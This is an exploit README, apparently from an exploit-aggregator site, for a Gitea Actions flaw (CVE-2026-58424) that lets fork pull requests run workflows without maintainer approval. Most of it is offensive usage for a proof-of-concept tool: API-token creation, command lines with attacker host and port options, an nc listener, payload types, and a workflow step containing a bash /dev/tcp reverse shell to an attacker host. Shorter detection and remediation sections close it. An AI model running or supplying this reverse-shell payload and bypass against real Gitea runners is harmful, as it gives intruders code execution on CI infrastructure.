Share
## https://sploitus.com/exploit?id=53B6B9C6-5A4C-57DB-913E-E9A91C88A5D2
# CVE-2026-58424 - Gitea Fork PR Workflow Approval Gate Bypass

> **Severity:** High (CVSS 8.9)
> **Affected:** Gitea โ‰ค 1.26.2
> **Fixed in:** Gitea 1.26.3
> **Advisory:** [GHSA-777r-4v59-6486](https://github.com/go-gitea/gitea/security/advisories/GHSA-777r-4v59-6486)

---

## Vulnerability Description

Gitea Actions enforces an approval gate on workflow runs triggered by fork pull requests. The gate is implemented in `ifNeedApproval()` and is intended to prevent untrusted contributors from executing arbitrary code via CI pipelines.

The flaw is that `ifNeedApproval()` is only correctly applied to the `pull_request` event. Each event type listed in a workflow's `on:` block produces an independent `ActionRun` object with its own approval check. When an attacker widens the `on:` block to include events like `pull_request_review`, `issue_comment`, or `pull_request_review_comment`, those runs are dispatched without going through the approval gate.

Triggering any of these unguarded events - for example, posting a PR review comment - immediately starts the workflow run as the runner's service account, with no maintainer approval required.

---

## Root Cause

The `ifNeedApproval()` function checks approval based on `(repo_id, trigger_user_id)` for the `pull_request` event, but does not apply this check consistently across all triggerable event types.

**Vulnerable path:**
```
POST /repos/{owner}/{repo}/pulls/{index}/reviews
  -> Gitea creates ActionRun with event=pull_request_review
  -> ifNeedApproval() not called for this event type
  -> Job dispatched to runner immediately
```

---

## Requirements

| Requirement | Detail |
|---|---|
| Gitea account | Any authenticated user with fork permission |
| Target repo | Gitea Actions must be enabled |
| Runner | `act_runner` must be online and registered |
| Network | Attacker host must be reachable from the runner |

---

## PoC Usage

### Installation

```bash
# Minimum
pip install requests

# For Kerberos/Negotiate auth
pip install requests requests-gssapi
```

### Auth Mode 1 - API Token

**Via browser:** `Settings -> Applications -> Generate Token`
Scopes needed: repository write + issue write.

**Via API:**
```bash
curl -s -X POST http://gitea.example.com:3000/api/v1/users//tokens \
  -u ":" \
  -H "Content-Type: application/json" \
  -d '{"name":"pwn","scopes":["write:repository","write:issue"]}'
```

**Run:**
```bash
python3 poc.py \
  --url http://gitea.example.com:3000 \
  --token  \
  --target-owner  \
  --target-repo  \
  --lhost  \
  --lport 4444
```

### Auth Mode 2 - Kerberos/Negotiate

For Gitea instances that only accept Kerberos/SPNEGO (Active Directory environments with SSPI enforced). Must run from a domain-joined host with a valid TGT.

```bash
kinit user@DOMAIN.LOCAL
klist

python3 poc.py \
  --url http://gitea.corp.local:3000 \
  --negotiate \
  --target-owner  \
  --target-repo  \
  --lhost  \
  --lport 4444
```

If DNS resolution fails, configure `/etc/krb5.conf`:
```ini
[libdefaults]
    default_realm = DOMAIN.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = true
    rdns = false

[realms]
    DOMAIN.LOCAL = {
        kdc = 
        admin_server = 
    }

[domain_realm]
    .domain.local = DOMAIN.LOCAL
    domain.local = DOMAIN.LOCAL
```

### All Options

```
--url               Gitea base URL (required)
--token             API token
--negotiate         Kerberos/SPNEGO auth (kinit first)
--cookie            Session cookie string

--target-owner      Target repo owner (required)
--target-repo       Target repo name (required)
--lhost             Attacker IP for reverse shell (required)
--lport             Attacker port (required)

--runner-label      Runner label to target (default: tries common labels)
--detect-label      Auto-enumerate runner labels before exploiting
--fork-name         Custom fork name (default: -)
--workflow-name     Custom workflow filename (default: ci-.yml)
--pr-title          Custom PR title (default: random realistic string)
--review-body       Custom review comment (default: random)
--payload-type      bash / python3 / nc / custom (default: bash)
--custom-payload    Shell command (use with --payload-type custom)
--no-cleanup        Leave PR open after exploit
--cleanup-delay     Seconds before cleanup (default: 30)
```

### Listener

```bash
nc -lvnp 4444
```

---

## Attack Flow

```
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
   -> pull_request_review event fires
   -> ifNeedApproval() NOT called
   -> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account
```

---

## Runner Lifecycle Note

By default `act_runner` is single-worker. If the reverse shell step does not exit cleanly, the runner stays in "running" state and ignores new jobs.

To avoid this, background the shell:
```yaml
- name: run
  run: |
    setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
    sleep 1
    exit 0
```

Or use `--custom-payload` to pass a daemonized one-liner directly.

---

## Detection

- `ActionRun` entries with `event=pull_request_review` or `event=issue_comment` originating from fork PRs
- Workflow files in fork repos containing `pull_request_review` triggers with shell execution steps
- Unexpected outbound connections from the runner host after PR review activity

---

## Remediation

| Action | Detail |
|---|---|
| Upgrade | Gitea 1.26.3+ patches this issue |
| Workaround | Disable Gitea Actions on repos with untrusted contributors |
| Audit | Review fork PRs and associated workflow runs for unexpected executions |
| Restrict | Limit fork permissions to trusted users |

---

## References

- [GHSA-777r-4v59-6486](https://github.com/go-gitea/gitea/security/advisories/GHSA-777r-4v59-6486)
- [NVD - CVE-2026-58424](https://nvd.nist.gov/vuln/detail/CVE-2026-58424)

---

## Disclaimer

For authorized security testing and research only. Do not use against systems without explicit written permission.